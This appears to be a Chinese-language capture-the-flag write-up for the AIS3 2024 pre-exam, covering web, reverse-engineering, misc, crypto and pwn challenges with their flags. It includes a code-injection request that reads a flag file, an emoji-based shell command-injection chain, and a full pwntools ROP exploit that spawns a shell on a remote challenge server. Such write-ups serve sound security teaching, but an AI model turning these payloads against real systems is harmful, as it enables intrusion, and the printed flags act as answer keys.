---
# System prepended metadata

title: AIS3 2024 pre-exam

---

## AIS3 2024 pre-exam

## leaderbroad

### Best score (#39)

![image](https://hackmd.io/_uploads/SJiiEb-4R.png)

### final score (#65)
![image](https://hackmd.io/_uploads/r1H32abEA.png)


## web

查看原始碼，發現可能有command injection漏洞

![image](https://hackmd.io/_uploads/rJfCjCRXA.png)

已知flag的位置，我們使用python的open()就可以讀檔案，payload如下:
```python
POST /calculate HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 87
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:5000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5000/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"expression":"open('../flag', 'r').read()"}
```
flag
```
AIS3{7RiANG13_5NAK3_I5_50_3Vi1}
```

## rev 

## The Long Print

查看原始碼可以發現有一個sleep()

![image](https://hackmd.io/_uploads/HyDySVyNR.png)

用ghidra將sleep的值改成0x1試試

![image](https://hackmd.io/_uploads/rya_SEJ4R.png)

並把結果輸出成一個執行檔，並執行，就會慢慢印出flag了

![image](https://hackmd.io/_uploads/HJHIBNkN0.png)

flag

```
AIS3{You_are_the_master_of_time_management!!!!?}
```

## 艾斯[未在時間內解出]

跟上一題一樣，把程式裡的sleep時間改短

看了程式後，發現程式會把輸入的值跟STACK上的值做XOR，

![image](https://hackmd.io/_uploads/B1Iv5YxV0.png)


我們可以查看STACK上的值就可以知道他是跟什麼值做XOR


發現`xorstring()`會把輸入的字串拆成一個個字元，再將每一個轉成16禁制後做XOR


![image](https://hackmd.io/_uploads/Syo9VzZEA.png)


我們發現程式會將XOR過後的字串一個一個丟進去做，而且XOR過後的字元ACSII值必須在64-90之間

![image](https://hackmd.io/_uploads/SJ1ABzbVC.png)

```
print(hex(0x4b4838434a523341 ^ 0xe0d7d060f177604 ))
print(hex(0x2b465d3a2a552457 ^ 0x6d001b7c6c136211 ))
print(hex(0x5939415440214936 ^ 0x1e7e061307660e71 ))
print(hex(0x5f5c5538312f3c7b ^ 0x17141d7079677433 ))

#OL<GNV7E 0x4f4c3c474e563745 ^ 0x4141414141414141 => 0xe0d7d060f177604
#/BY>.Q S 0x2f42593e2e512053 ^ 0x4242424242424242 => 0x6d001b7c6c136211
#]=EPD%M2 0x5d3d455044254d32 ^ 0x4343434343434343 => 0x1e7e061307660e71
#SPY4=#0w 0x535059343d233077 ^ 0x4444444444444444 => 0x17141d7079677433

# E: KH8CJR3A 0x4b4838434a523341
# F: +F]:*U$W 0x2b465d3a2a552457
# G: Y9AT@!I6 0x5939415440214936
# H: _\U81/<{ 0x5f5c5538312f3c7b
```


# misc

## Quantum Nim Heist

nc進入遊戲

![image](https://hackmd.io/_uploads/H1pRqEk4A.png)

測試幾次發現，如果輸入要拿取的石頭數量為不合理的，程式會告訴你答案不合理，但是AI還是執行一次拿取的動作

![image](https://hackmd.io/_uploads/SkNfnVy4R.png)

一直重複以上動作，讓AI自己拿石頭，直到剩下最後一顆時再換我們拿，我們就勝利了

![image](https://hackmd.io/_uploads/H1PL2EJVR.png)

flag
```
AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}
```

## Three Dimensional Secret

觀察wireshark的封包內容，疑似跟某台機器溝通，並送出許多類似座標的值

```
;FLAVOR:Marlin
;TIME:788
;Filament used: 8.45726m
;Layer height: 10
;MINX:58.496
;MINY:58.537
;MINZ:10
;MAXX:241.742
;MAXY:241.259
;MAXZ:10
;TARGET_MACHINE.NAME:Creality Ender-3 Max
;Generated with Cura_SteamEngine 5.6.0
M140 S60
M105
M190 S60
M104 S200
M105
M109 S200
M82 ;absolute extrusion mode
; Ender 3 Max Custom Start G-code
G92 E0 ; Reset Extruder
G28 ; Home all axes
G1 Z2.0 F3000 ; Move Z Axis up little to prevent scratching of Heat Bed
G1 X0.1 Y20 Z0.3 F5000.0 ; Move to start position
G1 X0.1 Y200.0 Z0.3 F1500.0 E15 ; Draw the first line
G1 X0.4 Y200.0 Z0.3 F5000.0 ; Move to side a little
G1 X0.4 Y20 Z0.3 F1500.0 E30 ; Draw the second line
```

查了一下後發現他的語言用的是`Gcode`，於是用python將所有wireshark封包中的資料寫進一個檔案

```python
import pyshark
import codecs

capture = pyshark.FileCapture('capture.pcapng') #, display_filter="TCP"
 
f = open("stl.txt", "w")
 
for packet in capture:
    if 'Data' in packet:
        result_string = codecs.decode(packet['Data'].Data, 'hex').decode('utf-8')
        f.write(result_string)
        
capture.close()
f.close()
```

最後將檔案裡面的內容丟到線上的Gcode模擬器，flag就出來了

https://nraynaud.github.io/webgcode/

![image](https://hackmd.io/_uploads/HJrG5d14C.png)

flag
```
AIS3{b4d1y_tun3d_PriN73r}
```

## Emoji Console

我們先使用 `cat *`，會印出app.py的內容，並且我們知道有個目錄叫做/flag

```
#!/usr/local/bin/python3

import os
from flask import Flask,send_file,request,redirect,jsonify,render_template

.......

}cat: flag: Is a directory
cat: templates: Is a directory
```

我假設我們要cd到flag目錄，在使用`cat *`把所有內容印出，所以我們需要用到`;`

題目中含有`;`的表情符號為😜 `"😜": ";P"`，但是這樣terminal會報錯

```
💿 🚩 😜 
/bin/sh: 1: p: not found
```

找了一下發現含有有`|` 符號的表情符號 😐 `"😐": ":|"`

`|` 的條件為 左邊的指令執行失敗，才會執行右邊的指令，剛好可以略過上述指令執行的問題

因此我們試了以下payload

```
💿 🚩 😜 😐 🐱 ⭐ 
```
終端機的內容:
```
#flag-printer.py

print(open('/flag','r').read())
```

目錄裡面有一個python檔，而剛好有一個表情符號為 🐍  `"🐍": "python"` ，因此我們可以執行python檔，payload輸入後就拿到flag了

payload 
```
💿 🚩 😜 😐  🐍 ⭐
```

flag
```
AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}
```

# crpyto

## babyRSA

看了一下程式發現程式是一個一個字元去做加密的

而使用ord()代表字元的範圍在ASCII table內

![image](https://hackmd.io/_uploads/B1gV9dhlE0.png)

我們只要把ACSII table的所有值使用題目給的public key加密後，在去配對他在 `Encrypted` 裡面的位置，並將該文字記下，就可以知道原先加密的內容是甚麼了

```python=
Encrypted = [.......]
Public = (..... , .....)

def encrypt(pk, char):
    key, n = pk
    cipher = pow(ord(char), key, n)
    return cipher


string = ""

lis = list(range(68))

for i in range(0,127):
    print(chr(i))
    for j in range(0,67):
        encrypted_msg = encrypt(Public, chr(i))
        if(Encrypted[j] == encrypted_msg):
            string += chr(i)
            lis[j] = chr(i)
        
print(string)
print(lis)
s = ''.join(str(x) for x in lis)
print(s)
```
output
```
@)!,*^=AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}-=1#&67
```
flag
```
AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}
```

# Pwn

## Mathter

試了一下，發現在計算機輸入`q`會詢問是否退出，如果輸入不為`Y,y`的話則繼續執行程式

![image](https://hackmd.io/_uploads/By7hxb-4A.png)

從ida查看原始碼，發現剛剛輸入的動作是在`goodbye()`處理的而且用的是gets()，有BOF漏洞

padding為 4 + 8(rbp) = 12

![image](https://hackmd.io/_uploads/BkNbZbZ4C.png)

checksec 結果

![image](https://hackmd.io/_uploads/ryt4-Z-NR.png)

由於`NO PIE`，可以嘗試用ROP去攻擊，用`ROPgadget`搜尋發現沒有`/bin/sh`，只能自己寫上去

![image](https://hackmd.io/_uploads/S1iMfbb4R.png)


看由於程式都沒有動到`heap`，於是我決定將`/bin/sh`寫到`heap`上，再使用暫存器去存取

用`ROPgadget`搜尋到了以下的gadget

```
pop_rdi = 0x402540
pop_rsi = 0x4126a3
pop_rax = 0x42e3a7 
pop_rax_rdx_rbx = 0x47b916
mov_qword_rsi_rax = 0x42f981
syscall = 0x4013ea
ret = 0x401016
heap = 0x4bf000
```
payload 如下

```python
rop_chain = flat([pop_rax, b'/bin/sh\0', pop_rsi, heap, mov_qword_rsi_rax])
rop_chain += flat([pop_rax_rdx_rbx, 0x3b, 0, 0, pop_rdi, heap, pop_rsi, 0, syscall])
```
payload解釋
1. 先將`'/bin/sh\0'`存至 `rax`
2. 將heap的位址存至 `rsi`
3. 透過`mov qword ptr [rsi], rax ; ret`，將rax的內容寫入rsi存的地址，也就是heap

有了`/bin/sh\0`位置後，剩下就好搞定了


```python=
from pwn import *

context.arch = 'amd64'
#nc chals1.ais3.org 50001
#p = process('./mathter')
p = remote('chals1.ais3.org',50001)

p.sendline(b'q')

pop_rdi = 0x402540
pop_rsi = 0x4126a3
pop_rax = 0x42e3a7 
pop_rax_rdx_rbx = 0x47b916
mov_qword_rsi_rax = 0x42f981
syscall = 0x4013ea
ret = 0x401016
heap = 0x4bf000

#rdx = 0
#rsi = 0
#mov_qword_rdx_rax = 0x419700
#0x000000000048ad91 : mov dword ptr [rax], edx ; ret
#0x000000000042f981 : mov qword ptr [rsi], rax ; ret
#0x000000000042e3a7 : pop rax ; ret

rop_chain = flat([pop_rax, b'/bin/sh\0', pop_rsi, heap, mov_qword_rsi_rax])
rop_chain += flat([pop_rax_rdx_rbx, 0x3b, 0, 0, pop_rdi, heap, pop_rsi, 0, syscall])

raw_input(">")

p.sendline(b'y'*12 + rop_chain)
p.interactive()
```

flag

```
AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
```